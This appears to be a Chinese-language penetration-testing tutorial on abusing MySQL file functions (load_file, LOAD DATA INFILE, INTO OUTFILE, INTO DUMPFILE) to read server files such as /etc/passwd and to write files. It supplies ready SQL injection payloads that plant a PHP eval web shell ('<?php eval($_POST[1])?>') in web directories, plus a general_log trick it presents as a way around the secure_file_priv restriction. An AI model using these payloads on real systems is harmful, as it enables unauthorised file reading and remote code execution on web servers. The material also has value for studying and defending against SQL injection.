0x00 注意点

注意: 读与写操作,要求是当前连接的mysql用户为root权限才行!

0x01 读写文件操作讲解

5.5.53之前的版本是secure_file_priv变量 默认为空 所以直接就可以使用

load_file函数into outfile函数只有满足以下条件可以使用:

  1. 当前连接的mysql用户为root权限
  2. 文件权限: chmod a+x pathtofile
  3. 文件大小: 必须小于max_allowed_packet


注意: mysql版本,低于5.5时满足上面3个条件即可使用,高于5.5时mysql新出了一个secure-file-priv字段

  1. secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT … > OUTFILE, and LOAD_FILE()传到哪个指定目录的。
  2. ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  3. 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  4. 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
  • 查看自己是否有读取权限sql: select (select count(*) from mysql.user)>0
  • 如果结果返回正常,说明具有读写权限
  • 如果返回错误,应该是管理员给数据库账户降权


查看secure-file-priv参数的值: show global variables like ‘%secure%’;

  1. mysql> show global variables like '%secure%';
  2. +------------------+-------+
  3. | Variable_name | Value |
  4. +------------------+-------+
  5. | secure_auth | OFF |
  6. | secure_file_priv | NULL |
  7. +------------------+-------+
  8. 2 rows in set (0.00 sec)
  • 默认的为NULL。即不允许导入导出
  • 为了实验能正常做下去
  • 修改mysql.ini 文件,在[mysqld] 下加入
  • windows下: 修改my.ini 在[mysqld]内加入secure-file-priv = ‘’
  • linux下: 修改my.cnf 在[mysqld]内加入secure_file_priv = ‘’
  • 保存,然后重启mysql即可

0x02 INTO OUTFILE函数 与 INTO DUMPFILE函数 差别

INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符

INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择

(1) into outfile:

  • outfile 可导出多行,并会在每⾏的结束加上换⾏符
    如果test表中的内容有多行
    MySQL 读文件-写文件例子 - 图1
    导出效果
    MySQL 读文件-写文件例子 - 图2
  • outfile 将数据写到文件里时有特殊的格式转换
    a\naa\raaaa写入时\n被转义,并且文件末尾加了一个新行
    MySQL 读文件-写文件例子 - 图3
    导致写shell时要注意特殊字符


  • outfile 的路径不能是0x开头或者char转换以后的路径,只能是引号包裹的路径
    导致写shell时无法通过hex编码或char()来bypass引号转义等
  • 文件不能覆盖写入,所以写入文件必须为不存在


(2)dumpfile

  1. select '<?php phpinfo(); ?>' into dumpfile "C:\\phpStudy\\MySQL\\bin\\1.php";
  2. select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';

需要注意的点:

  1. dumpfile 只能导出一行
    MySQL 读文件-写文件例子 - 图4

  2. dumpfile 在写⽂件时会保持⽂件的原⽣内容/原数据格式,适合写二进制文件,如exe文件,udf提权的dll文件
    MySQL 读文件-写文件例子 - 图5

  3. dumpfile 的路径不能是0x开头或者char转换以后的路径

  4. 文件不能覆盖写入,所以写入文件必须为不存在


0x03 load_file函数读文件

select load_file(‘/etc/passwd’);

十六进制读: select load_file(0x2F6574632F706173737764)

例如 linux 系统的网站 load_file(‘etc/passwd’) 或者 windows 系统的网站 load_file(‘c:\boot.ini’)。这个参数可以用的前提是,user() 用户在mysql.user表中的字段为 file_priv 设置为Y,查看是否有写入权限。

需要注意的是,如果是windows 系统,保险起见将路径设置为双斜杠,因为双斜杠在计算机语言中是单斜杠的意思,如果为单斜杠。例如 d:\table ,那么这个路径中的 \t 就会解析成键盘上的 table 键, \n\r 类似。 很多时候php的网站的 gpf 会设置为ON ,(对特殊字符进行转义,将单引号 自动修改为 \’) 那么 load_file(’c:\boot.ini’) 就会变成 load_file(\’c:\\boot.ini\’) 出现语法错误,得不到结果。解决的方法就是对 c:\boot.ini 进行hex编码,输入hex转码得内容。

0x04 load data infile()函数读文件

条件:

  • 所读文件的绝对路径
  • secure_file_priv 的值非NULL或包含了所读文件的绝对路径
  • mysql服务有对所读文件的读权限
  • mysql连接用户有FILE权限/如果指定LOCAL关键词则无需FILE权限
  • 如果是mysql8,需要SET GLOBAL local_infile=1;


load data infile()将所读文件内容存储到表中
load data [local] infile '/etc/passwd' into table result;
如果指定LOCAL关键词,则表明从客户端的主机上按路径读取文件,适合站库分离,无需FILE权限。

0x05 into outfile 写文件

还有一个需要注意的点,在linux写shell的时候需要找一个777目录,如果没有777目录是无法成功写入的!!!

0x05.1 写入方法1

select ‘这里写木马’ into outfile ‘网站绝对路径/xxx.php’

  1. select '<?php phpinfo(); ?>' into outfile "C:\\phpStudy\\MySQL\\bin\\1.php";
  2. select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';

0x04.2 写入方法2

select * from tdb_goods where goods_id=1 into outfile “网站绝对路径/xxx.php” LINES STARTING BY ‘<?php phpinfo()?>’

  • LINES STARTING BY ‘写入的内容’ = 设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
  • LINES TERMINATED BY ‘写入的内容’ = 设置每行数据结尾的字符,可以为单个或多个字符。默认值是”\n”。

0x05 利用mysql日志写文件

可绕过 secure_file_priv 不管 secure_file_priv 设置的是啥,都可以直接使用这个方法绕过,生成文件

利用条件:

  1. root权限 或是 当前登录账号能访问 performance_schema 库
  2. 知道网址绝对路径

还有一个需要注意的点,在linux写shell的时候需要找一个777目录,如果没有777目录是无法成功写入的!!!

如果当前登录账号能访问 performance_schema 库那么就大概率可以shell了

  • SET GLOBAL general_log=ON;
  • SET GLOBAL general_log_file=’网站绝对路径/xxx.php’;
  • select ‘<?php eval($_POST[1])?>’;
  • SET GLOBAL general_log=OFF;

0x06 注入导出shell

web: http://127.0.0.1/xx.php?id=-1 union select 1,2,3,4,’<?php eval($_POST[1])?>’,5 into outfile ‘绝对路径’ — a

select * from tdb_goods where goods_id=-1 union select 1,2,3,4,’<?php eval($_POST[1])?>’,5 into outfile ‘绝对路径’ — a

例子: select * from tdb_goods where goods_id id=-1 union select 1,2,3,4,’<?php eval($_POST[1])?>’,5 into outfile ‘/var/www/html/1.php’ — a

0x07 INTO DUMPFILE 写文件

sql: select 1,2,3,4,’<?php eval($_POST[1])?>’,5 INTO DUMPFILE ‘E:/WWW/111111.php’ — a

0x08 INTO DUMPFILE 写文件2

不能union的写shell方法

  1. select * from users WHERE id=1 into outfile "F:\1.php" lines terminated by "<?php echo 1; ?>"
  2. 执行完毕以后会在 F:\1.php 生成 111111.php 并且里面 <?php echo 1; ?>

image.png
image.png

image.png